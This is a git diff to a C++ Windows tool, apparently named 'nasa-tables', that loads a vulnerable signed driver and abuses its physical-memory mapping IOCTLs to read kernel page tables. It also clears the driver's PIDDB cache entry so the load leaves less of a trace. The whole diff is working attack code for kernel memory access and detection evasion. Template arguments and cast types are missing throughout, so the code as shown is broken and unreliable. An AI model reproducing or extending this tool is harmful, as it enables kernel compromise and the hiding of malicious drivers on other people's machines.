diff --git a/nasa-tables/main.cpp b/nasa-tables/main.cpp index 86a1c3c..538422f 100644 --- a/nasa-tables/main.cpp +++ b/nasa-tables/main.cpp @@ -4,22 +4,40 @@ int __cdecl main(int argc, char** argv) { - nasa::load_drv(); + if (!nasa::load_drv()) + { + std::printf("[!] unable to load vulnerable driver... run as admin?\n"); + return -1; + } + nasa::kernel_ctx kernel; + std::printf("[+] %s mapped physical page -> 0x%p\n", nasa::syscall_hook.first.data(), nasa::psyscall_func.load()); + std::printf("[+] %s page offset -> 0x%x\n", nasa::syscall_hook.first.data(), nasa::nt_page_offset); + + // clear piddb cache table entry for vulnerable driver... if (kernel.clear_piddb_cache(nasa::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp)) - std::cout << "[+] Removed PIDDB Cache entry for physmeme driver..." << std::endl; - nasa::unload_drv(); + std::printf("[+] Removed PIDDB Cache entry for physmeme driver...\n"); + else + std::printf("[!] unable to clear PIDDB Cache entry for vulnerable driver...\n"); + + if (!nasa::unload_drv()) + { + std::printf("[!] unable to unload vulnerable driver... close all handles?\n"); + return -1; + } + + const std::pair my_proc_data = { GetCurrentProcessId(), + virt_addr_t{ reinterpret_cast(util::get_kernel_module_base("ntoskrnl.exe")) } }; - const std::pair my_proc_data = { GetCurrentProcessId(), virt_addr_t{ GetModuleHandle(NULL) } }; std::cout << "[+] my pid: " << std::hex << my_proc_data.first << std::endl; - std::cout << "[+] my base: " << std::showbase << std::hex << my_proc_data.second.value << std::endl; + std::cout << "[+] kernel base: " << std::showbase << std::hex << my_proc_data.second.value << std::endl; nasa::mem_ctx my_proc(kernel, my_proc_data.first); - const auto module_base = my_proc_data.second; + const auto ntoskrnl_pde = my_proc.get_pde(my_proc_data.second.value); - std::cout << "[+] base address pml4e: " << std::hex << my_proc[module_base.pml4_index].value << std::endl; - std::cout << "[+] base address pdpte: " << std::hex << my_proc[{module_base.pml4_index, module_base.pdpt_index}].value << std::endl; - std::cout << "[+] base address pde: " << std::hex << my_proc[{module_base.pml4_index, module_base.pdpt_index, module_base.pd_index}].value << std::endl; - std::cout << "[+] base address pte: " << std::hex << my_proc[{module_base.pml4_index, module_base.pdpt_index, module_base.pd_index, module_base.pt_index}].value << std::endl; + // ntoskrnl is allocated in 2mb large pages :) + std::printf("[+] page present -> %d\n", ntoskrnl_pde.second.present); + std::printf("[+] page frame number -> 0x%x\n", ntoskrnl_pde.second.pfn); + std::printf("[+] large page -> %d\n", ntoskrnl_pde.second.page_size); std::cin.get(); } \ No newline at end of file diff --git a/nasa-tables/mem_ctx/mem_ctx.cpp b/nasa-tables/mem_ctx/mem_ctx.cpp index 05b1f6e..0421320 100644 --- a/nasa-tables/mem_ctx/mem_ctx.cpp +++ b/nasa-tables/mem_ctx/mem_ctx.cpp @@ -214,7 +214,7 @@ namespace nasa return {}; pt_entries entries; - if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)) + if ((use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))) return { entries.pt.first, entries.pt.second }; return {}; } @@ -236,7 +236,7 @@ namespace nasa return {}; pt_entries entries; - if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)) + if ((use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))) return { entries.pd.first, entries.pd.second }; return {}; } @@ -258,7 +258,7 @@ namespace nasa return {}; pt_entries entries; - if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)) + if ((use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))) return { entries.pdpt.first, entries.pdpt.second }; return {}; } @@ -280,7 +280,7 @@ namespace nasa return {}; pt_entries entries; - if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)) + if ((use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))) return { entries.pml4.first, entries.pml4.second }; return {}; } diff --git a/nasa-tables/physmeme/physmeme.hpp b/nasa-tables/physmeme/physmeme.hpp index a8707bc..1f1be4f 100644 --- a/nasa-tables/physmeme/physmeme.hpp +++ b/nasa-tables/physmeme/physmeme.hpp @@ -8,6 +8,9 @@ #include "../loadup.hpp" #include "../raw_driver.hpp" +#define MAP_PHYSICAL_MEMORY 0xC3502004 +#define UNMAP_PHYSICAL_MEMORY 0xC3502008 + #pragma pack ( push, 1 ) typedef struct _GIOMAP { @@ -23,7 +26,6 @@ namespace nasa { inline std::string drv_key; inline HANDLE drv_handle = NULL; - inline std::vector> virtual_mappings; inline bool load_drv() { @@ -51,38 +53,43 @@ namespace nasa return CloseHandle(drv_handle) && driver::unload(drv_key); } - inline std::uintptr_t map_phys( - std::uintptr_t addr, - std::size_t size - ) + inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size) { GIOMAP in_buffer = { 0, 0, addr, 0, size }; uintptr_t out_buffer[2] = { 0 }; unsigned long returned = 0; - DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - virtual_mappings.push_back({ out_buffer[0], size }); + if (!DeviceIoControl( + drv_handle, + MAP_PHYSICAL_MEMORY, + reinterpret_cast(&in_buffer), + sizeof(in_buffer), + reinterpret_cast(out_buffer), + sizeof(out_buffer), + &returned, NULL + )) + return NULL; + return out_buffer[0]; } - inline bool unmap_phys( - std::uintptr_t addr, - std::size_t size - ) + inline bool unmap_phys(std::uintptr_t addr, std::size_t size) { uintptr_t in_buffer = addr; uintptr_t out_buffer[2] = { sizeof(out_buffer) }; - unsigned long returned = NULL; - DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - } - inline void unmap_all() - { - for (auto idx = 0u; idx < virtual_mappings.size(); ++idx) - unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second); + if (!DeviceIoControl( + drv_handle, + UNMAP_PHYSICAL_MEMORY, + reinterpret_cast(&in_buffer), + sizeof(in_buffer), + reinterpret_cast(out_buffer), + sizeof(out_buffer), + &returned, NULL + )) + return false; + + return out_buffer[0]; } } \ No newline at end of file